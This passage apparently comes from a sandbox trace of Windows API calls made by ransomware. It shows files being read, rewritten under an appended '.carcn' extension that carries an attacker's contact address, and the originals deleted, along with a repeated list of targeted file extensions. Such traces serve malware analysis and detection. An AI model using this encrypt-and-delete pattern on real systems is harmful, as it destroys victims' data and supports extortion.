nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1050, lpOverlapped=0x0) returned 1 [0297.572] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.572] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0297.572] SetEndOfFile (hFile=0x368) returned 1 [0297.572] CloseHandle (hObject=0x368) returned 1 [0297.572] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.573] SetEndOfFile (hFile=0x388) returned 1 [0297.574] CloseHandle (hObject=0x388) returned 1 [0297.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0297.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0297.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0297.575] lstrlenW (lpString=".doc") returned 4 [0297.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.575] lstrlenW (lpString=".docx") returned 5 [0297.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.575] lstrlenW (lpString=".pdf") returned 4 [0297.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.575] lstrlenW (lpString=".xls") returned 4 [0297.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.575] lstrlenW (lpString=".xlsx") returned 5 [0297.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.575] lstrlenW (lpString=".ppt") returned 4 [0297.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0297.575] lstrlenW (lpString=".zip") returned 4 [0297.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.575] lstrlenW (lpString=".rar") returned 4 [0297.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.578] lstrlenW (lpString=".bz2") returned 4 [0297.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.578] lstrlenW (lpString=".7z") returned 3 [0297.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0297.578] lstrlenW (lpString=".dbf") returned 4 [0297.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0297.578] lstrlenW (lpString=".1cd") returned 4 [0297.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0297.578] lstrlenW (lpString=".jpg") returned 4 [0297.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0297.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0297.579] lstrlenW (lpString=".doc") returned 4 [0297.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.579] lstrlenW (lpString=".docx") returned 5 [0297.579] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.579] lstrlenW (lpString=".pdf") returned 4 [0297.579] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.579] lstrlenW (lpString=".xls") returned 4 [0297.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.579] lstrlenW (lpString=".xlsx") returned 5 [0297.579] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.579] lstrlenW (lpString=".ppt") returned 4 [0297.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0297.579] lstrlenW (lpString=".zip") returned 4 [0297.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.579] lstrlenW (lpString=".rar") returned 4 [0297.579] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.579] lstrlenW (lpString=".bz2") returned 4 [0297.579] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.579] lstrlenW (lpString=".7z") returned 3 [0297.579] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0297.580] lstrlenW (lpString=".dbf") returned 4 [0297.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0297.580] lstrlenW (lpString=".1cd") returned 4 [0297.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0297.580] lstrlenW (lpString=".jpg") returned 4 [0297.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.580] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.580] lstrlenW (lpString="BL00296_.WMF") returned 12 [0297.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0297.581] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=812) returned 1 [0297.581] CloseHandle (hObject=0x388) returned 1 [0297.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x220 [0297.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0297.581] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.581] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0297.582] GetLastError () returned 0x0 [0297.582] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x32c, lpOverlapped=0x0) returned 1 [0297.583] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x330, lpOverlapped=0x0) returned 1 [0297.590] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.590] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0297.590] SetEndOfFile (hFile=0x368) returned 1 [0297.590] CloseHandle (hObject=0x368) returned 1 [0297.591] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.591] SetEndOfFile (hFile=0x388) returned 1 [0297.592] CloseHandle (hObject=0x388) returned 1 [0297.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0297.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0297.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0297.599] lstrlenW (lpString=".doc") returned 4 [0297.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.599] lstrlenW (lpString=".docx") returned 5 [0297.599] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.599] lstrlenW (lpString=".pdf") returned 4 [0297.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.599] lstrlenW (lpString=".xls") returned 4 [0297.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.599] lstrlenW (lpString=".xlsx") returned 5 [0297.599] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.599] lstrlenW (lpString=".ppt") returned 4 [0297.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0297.599] lstrlenW (lpString=".zip") returned 4 [0297.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.599] lstrlenW (lpString=".rar") returned 4 [0297.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.599] lstrlenW (lpString=".bz2") returned 4 [0297.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.599] lstrlenW (lpString=".7z") returned 3 [0297.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0297.600] lstrlenW (lpString=".dbf") returned 4 [0297.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0297.600] lstrlenW (lpString=".1cd") returned 4 [0297.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0297.600] lstrlenW (lpString=".jpg") returned 4 [0297.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0297.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0297.600] lstrlenW (lpString=".doc") returned 4 [0297.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.600] lstrlenW (lpString=".docx") returned 5 [0297.600] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.600] lstrlenW (lpString=".pdf") returned 4 [0297.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.600] lstrlenW (lpString=".xls") returned 4 [0297.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.600] lstrlenW (lpString=".xlsx") returned 5 [0297.600] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.600] lstrlenW (lpString=".ppt") returned 4 [0297.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0297.600] lstrlenW (lpString=".zip") returned 4 [0297.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.601] lstrlenW (lpString=".rar") returned 4 [0297.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.601] lstrlenW (lpString=".bz2") returned 4 [0297.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.601] lstrlenW (lpString=".7z") returned 3 [0297.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0297.601] lstrlenW (lpString=".dbf") returned 4 [0297.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0297.601] lstrlenW (lpString=".1cd") returned 4 [0297.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0297.601] lstrlenW (lpString=".jpg") returned 4 [0297.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.601] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.601] lstrlenW (lpString="BL00390_.WMF") returned 12 [0297.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0297.602] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=13102) returned 1 [0297.602] CloseHandle (hObject=0x388) returned 1 [0297.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x220 [0297.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0297.602] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.603] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0297.603] GetLastError () returned 0x0 [0297.603] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x332e, lpOverlapped=0x0) returned 1 [0297.604] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x3330, lpOverlapped=0x0) returned 1 [0297.606] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0297.606] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0297.606] SetEndOfFile (hFile=0x368) returned 1 [0297.606] CloseHandle (hObject=0x368) returned 1 [0297.607] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.607] SetEndOfFile (hFile=0x388) returned 1 [0297.608] CloseHandle (hObject=0x388) returned 1 [0297.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0297.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0297.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0297.609] lstrlenW (lpString=".doc") returned 4 [0297.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.609] lstrlenW (lpString=".docx") returned 5 [0297.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.609] lstrlenW (lpString=".pdf") returned 4 [0297.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.609] lstrlenW (lpString=".xls") returned 4 [0297.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.609] lstrlenW (lpString=".xlsx") returned 5 [0297.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.609] lstrlenW (lpString=".ppt") returned 4 [0297.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0297.609] lstrlenW (lpString=".zip") returned 4 [0297.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.609] lstrlenW (lpString=".rar") returned 4 [0297.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.609] lstrlenW (lpString=".bz2") returned 4 [0297.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.609] lstrlenW (lpString=".7z") returned 3 [0297.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0297.610] lstrlenW (lpString=".dbf") returned 4 [0297.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0297.610] lstrlenW (lpString=".1cd") returned 4 [0297.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0297.610] lstrlenW (lpString=".jpg") returned 4 [0297.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0297.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0297.610] lstrlenW (lpString=".doc") returned 4 [0297.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.610] lstrlenW (lpString=".docx") returned 5 [0297.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.610] lstrlenW (lpString=".pdf") returned 4 [0297.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.610] lstrlenW (lpString=".xls") returned 4 [0297.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.610] lstrlenW (lpString=".xlsx") returned 5 [0297.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.610] lstrlenW (lpString=".ppt") returned 4 [0297.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0297.611] lstrlenW (lpString=".zip") returned 4 [0297.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.611] lstrlenW (lpString=".rar") returned 4 [0297.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.611] lstrlenW (lpString=".bz2") returned 4 [0297.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.611] lstrlenW (lpString=".7z") returned 3 [0297.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0297.611] lstrlenW (lpString=".dbf") returned 4 [0297.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0297.611] lstrlenW (lpString=".1cd") returned 4 [0297.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0297.611] lstrlenW (lpString=".jpg") returned 4 [0297.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.611] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.611] lstrlenW (lpString="BL00392_.WMF") returned 12 [0297.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0297.612] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=27050) returned 1 [0297.612] CloseHandle (hObject=0x388) returned 1 [0297.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x220 [0297.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0297.613] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.613] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0297.614] GetLastError () returned 0x0 [0297.614] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x69aa, lpOverlapped=0x0) returned 1 [0298.160] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x69b0, lpOverlapped=0x0) returned 1 [0298.162] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, 